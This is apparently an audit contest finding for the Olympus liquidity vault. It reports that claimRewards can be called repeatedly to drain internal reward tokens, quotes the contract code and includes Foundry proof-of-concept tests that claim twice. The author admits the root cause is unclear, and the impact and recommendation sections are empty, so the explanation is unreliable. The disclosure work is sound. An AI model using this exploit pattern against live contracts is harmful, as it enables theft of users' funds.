Ruhum

high

# User can claim multiple times

## Summary
The user is able to claim multiple times allowing them to drain all of the vault's internal reward tokens.

## Vulnerability Detail
I couldn't figure out what the issue is. Initially, I suspected that the issue is that in `claimRewards()`, the `lastRewardTime` value is not updated for internal reward tokens.

In [`_updateInternalRewardState()`](https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L488-L494) the reward tokens are distributed to each shareholder by increasing `accumulatedRewardsPerShare`. 
```sol
    function _updateInternalRewardState(uint256 id_, uint256 amountAccumulated_) internal {
        // This correctly uses 1e18 because the LP tokens of all major DEXs have 18 decimals
        InternalRewardToken storage rewardToken = internalRewardTokens[id_];
        if (totalLP != 0)
            rewardToken.accumulatedRewardsPerShare += (amountAccumulated_ * 1e18) / totalLP;
        rewardToken.lastRewardTime = block.timestamp;
    }
```
It also updates `lastRewardTime` so that the next time rewards are calculated, already distributed ones are ignored in [`_accumulateInternalRewards()`](https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#LL463-L484C6)

```sol
    function _accumulateInternalRewards() internal view returns (uint256[] memory) {
        uint256 numInternalRewardTokens = internalRewardTokens.length;
        uint256[] memory accumulatedInternalRewards = new uint256[](numInternalRewardTokens);

        for (uint256 i; i < numInternalRewardTokens; ) {
            InternalRewardToken memory rewardToken = internalRewardTokens[i];

            uint256 totalRewards;
            if (totalLP > 0) {
                uint256 timeDiff = block.timestamp - rewardToken.lastRewardTime;
                totalRewards = (timeDiff * rewardToken.rewardsPerSecond);
            }

            accumulatedInternalRewards[i] = totalRewards;

            unchecked {
                ++i;
            }
        }

        return accumulatedInternalRewards;
    }
```

But, when the user calls [`claimRewards()`](https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#LL288-L310C6), `_updateInternalRewardState()` is never executed: 

```sol
    function claimRewards() external onlyWhileActive nonReentrant {
        uint256 numInternalRewardTokens = internalRewardTokens.length;
        uint256 numExternalRewardTokens = externalRewardTokens.length;

        uint256[] memory accumulatedRewards = _accumulateExternalRewards();

        for (uint256 i; i < numInternalRewardTokens; ) {
            _claimInternalRewards(i);

            unchecked {
                ++i;
            }
        }

        for (uint256 i; i < numExternalRewardTokens; ) {
            _updateExternalRewardState(i, accumulatedRewards[i]);
            _claimExternalRewards(i);

            unchecked {
                ++i;
            }
        }
    }
```

Instead, it only calls [`_claimInternalRewards()`](https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#LL623-L634C6) which in turn calls [`internalRewardsForToken`](https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#LL354-L372C6) to get the number of tokens to claim:

```sol
    function _claimInternalRewards(uint256 id_) internal {
        address rewardToken = internalRewardTokens[id_].token;
        uint256 reward = internalRewardsForToken(id_, msg.sender);
        uint256 fee = (reward * FEE) / PRECISION;

        userRewardDebts[msg.sender][rewardToken] += reward;
        accumulatedFees[rewardToken] += fee;

        if (reward > 0) ERC20(rewardToken).safeTransfer(msg.sender, reward - fee);

        emit RewardsClaimed(msg.sender, rewardToken, reward - fee);
    }

    function internalRewardsForToken(uint256 id_, address user_) public view returns (uint256) {
        InternalRewardToken memory rewardToken = internalRewardTokens[id_];
        uint256 lastRewardTime = rewardToken.lastRewardTime;
        uint256 accumulatedRewardsPerShare = rewardToken.accumulatedRewardsPerShare;

        if (block.timestamp > lastRewardTime && totalLP != 0) {
            uint256 timeDiff = block.timestamp - lastRewardTime;
            uint256 totalRewards = timeDiff * rewardToken.rewardsPerSecond;

            // This correctly uses 1e18 because the LP tokens of all major DEXs have 18 decimals
            accumulatedRewardsPerShare += (totalRewards * 1e18) / totalLP;
        }

        // This correctly uses 1e18 because the LP tokens of all major DEXs have 18 decimals
        uint256 totalAccumulatedRewards = (lpPositions[user_] * accumulatedRewardsPerShare) -
            userRewardDebts[user_][rewardToken.token];

        return (cachedUserRewards[user_][rewardToken.token] + totalAccumulatedRewards) / 1e18;
    }
```

But, after the first claim, `userShares * rewardsPerShare` should be equal to `userRewardsDebts`. The timestamp wasn't increased. So the total amount of rewards didn't increase. That would mean that on the 2nd claim the user should get 0 tokens. But that's not the case. In the test cases below I log the relevant values to make sure that nothing weird is happening.

## Impact

## Code Snippet
Here's a test for WstthLiquidityVaultMock.t.sol and WstethLiquidityVaultFork.t.sol showcasing the issue:

```sol
    // WstthLiquidityVaultMock.t.sol
    function testIssue() public {
        vm.prank(alice);
        liquidityVault.deposit(1e18, 0);
        vm.warp(block.timestamp + 10); // Increase time by 10 seconds
        assertEq(liquidityVault.internalRewardsForToken(0, alice), 10000000000000000000);
        assertEq(liquidityVault.getExternalRewardTokens().length, 0);
        console2.log("block timestamp before first claim: ", block.timestamp);
        vm.prank(alice);
        liquidityVault.claimRewards();
        console2.log("cached user reward after first claim: ", liquidityVault.cachedUserRewards(alice, address(reward)));
        console2.log("user reward debts after first claim: ", liquidityVault.userRewardDebts(alice, address(reward)));

        // @audit without increasing the timestamp, we can claim a second time to earn more reward tokens
        console2.log("block timestamp before second claim: ", block.timestamp);
        // assertEq(liquidityVault.internalRewardsForToken(0, alice), 0);
        vm.prank(alice);
        liquidityVault.claimRewards();
        console2.log(
            "cached user rewards after second claim: ", liquidityVault.cachedUserRewards(alice, address(reward))
        );
        console2.log("user reward debts after second claim: ", liquidityVault.userRewardDebts(alice, address(reward)));
        assertGt(reward.balanceOf(alice), 10000000000000000000);
    }

    // WstethLiquidityVaultFork.t.sol
    function testIssue() public {
        vm.prank(bob);
        liquidityVault.deposit(1e18, 0);
        vm.warp(block.timestamp + 10); // Increase time by 10 seconds
        assertGt(liquidityVault.internalRewardsForToken(0, bob), 0);
        console2.log(block.timestamp);
        vm.prank(bob);
        liquidityVault.claimRewards();
        console2.log(liquidityVault.cachedUserRewards(bob, address(ldo)));
        console2.log(liquidityVault.userRewardDebts(bob, address(ldo)));
        uint256 balanceAfterFirstClaim = ldo.balanceOf(bob);
        console2.log(block.timestamp);
        vm.prank(bob);
        liquidityVault.claimRewards();
        console2.log(liquidityVault.cachedUserRewards(bob, address(ldo)));
        console2.log(liquidityVault.userRewardDebts(bob, address(ldo)));
        assertGt(ldo.balanceOf(bob), balanceAfterFirstClaim);
    }

```

## Tool used

Manual Review

## Recommendation
